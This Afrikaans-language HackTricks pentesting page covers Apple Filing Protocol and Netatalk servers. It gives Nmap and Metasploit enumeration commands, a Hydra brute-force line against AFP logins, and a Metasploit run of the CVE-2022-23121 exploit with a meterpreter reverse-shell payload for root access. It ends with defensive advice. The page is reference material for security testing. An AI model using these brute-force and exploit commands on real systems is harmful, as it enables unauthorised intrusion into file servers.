113 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 548 - Pentesting Apple Filing Protocol (AFP)
{{#include ../banners/hacktricks-training.md}}
## Basiese Inligting
Die **Apple Filing Protocol** (**AFP**), voorheen bekend as AppleTalk Filing Protocol, is 'n gespesialiseerde netwerkprotokol ingesluit binne **Apple File Service** (**AFS**). Dit is ontwerp om lêerdienste vir macOS en die klassieke Mac OS te bied. AFP val op deur ondersteuning van Unicode-lêernames, POSIX-styl en ACL-toestemmings, hulpbronne-forks, benoemde uitgebreide eienskappe en gesofistikeerde lêer-slotmeganismes.
Alhoewel AFP deur SMB in moderne macOS-uitgawes vervang is (SMB is die verstek sedert OS X 10.9), word dit steeds aangetref in:
* Erflike macOS / Mac OS 9 omgewings
* NAS-toestelle (QNAP, Synology, Western Digital, TrueNAS…) wat die oopbron **Netatalk** daemon inkorporeer
* Gemengde-OS-netwerke waar Time-Machine-over-AFP steeds geaktiveer is
**Verstek TCP Poort:** **548** (AFP oor TCP / DSI)
```bash
PORT STATE SERVICE
548/tcp open afp
```
---
## Opname
### Vinning van vinnige banier / bediener inligting
```bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
```
Nuttige AFP NSE skripte:
| Skrip | Wat dit doen |
|-------|--------------|
| **afp-ls** | Lys beskikbare AFP volumes en lêers |
| **afp-brute** | Wagwoord brute-force teen AFP aanmelding |
| **afp-serverinfo** | Dump bediener naam, masjien tipe, AFP weergawe, ondersteunde UAMs, ens. |
| **afp-showmount** | Lys gedeeltes saam met hul ACLs |
| **afp-path-vuln** | Detecteer (en kan ontgin) gids-deurdring, CVE-2010-0533 |
Die NSE brute-force skrip kan gekombineer word met Hydra/Medusa as meer beheer benodig word:
```bash
hydra -L users.txt -P passwords.txt afp://<IP>
```
### Interacting with shares
*macOS*
```bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
```
*Linux* (gebruik `afpfs-ng` ingepak in die meeste distros)
```bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
```
Sodra dit gemonteer is, onthou dat klassieke Mac hulpbronne-forks as verborge `._*` AppleDouble lêers gestoor word hierdie hou dikwels interessante metadata wat DFIR gereedskap mis.
---
## Algemene Kw vulnerabilities & Exploitatie
### Netatalk ongeverifieerde RCE-ketting (2022)
Verskeie NAS verskaffers het **Netatalk ≤3.1.12** gestuur. 'n Gebrek aan grensekontrole in `parse_entries()` laat 'n aanvaller toe om 'n kwaadwillige **AppleDouble** kop te vervaardig en **remote root** te verkry voor verifikasie (**CVSS 9.8 CVE-2022-23121**). 'n Volledige skrywe deur NCC Group met PoC wat Western-Digital PR4100 exploiteer, is beskikbaar.
Metasploit (>= 6.3) verskaf die module `exploit/linux/netatalk/parse_entries` wat die payload via DSI `WRITE` lewer.
```bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
```
As die teiken 'n geraakte QNAP/Synology firmware draai, lei suksesvolle uitbuiting tot 'n shell as **root**.
### Netatalk OpenSession heap overflow (2018)
Ou Netatalk (3.0.0 - 3.1.11) is kwesbaar vir 'n out-of-bounds skrywe in die **DSI OpenSession** handler wat nie-geverifieerde kode-uitvoering toelaat (**CVE-2018-1160**). 'n Gedetailleerde ontleding en PoC is deur Tenable Research gepubliseer.
### Ander noemenswaardige probleme
* **CVE-2022-22995** Symlink herleiding wat lei tot arbitrêre lêer skrywe / RCE wanneer AppleDouble v2 geaktiveer is (3.1.0 - 3.1.17).
* **CVE-2010-0533** Gids traversering in Apple Mac OS X 10.6 AFP (gedetecteer deur `afp-path-vuln.nse`).
* Meerdere geheue-veilige foute is reggestel in **Netatalk 4.x (2024)** dit word aanbeveel om op te gradeer eerder as om individuele CVE's te patch.
---
## Verdedigende Aanbevelings
1. **Deaktiveer AFP** tensy dit streng nodig is gebruik eerder SMB3 of NFS.
2. As AFP moet bly, **opgradeer Netatalk na ≥ 3.1.18 of 4.x**, of pas verskaffer firmware toe wat die 2022/2023/2024 patches terugbring.
3. Handhaaf **Sterk UAMs** (bv. *DHX2*), deaktiveer duidelike teks en gaslogin.
4. Beperk TCP 548 tot vertroude subnetwerke en verpak AFP binne 'n VPN wanneer dit van buite blootgestel word.
5. Periodesk scan met `nmap -p 548 --script afp-*` in CI/CD om rogue / afgedateerde toestelle te vang.
---
### [Brute-Force](../generic-hacking/brute-force.md#afp)
## Verwysings
* Netatalk Veiligheidsadvies CVE-2022-23121 "Arbitrêre kode-uitvoering in parse_entries" <https://netatalk.io/security/CVE-2022-23121>
* Tenable Research "Exploiting an 18-Year-Old Bug (CVE-2018-1160)" <https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172>
{{#include ../banners/hacktricks-training.md}}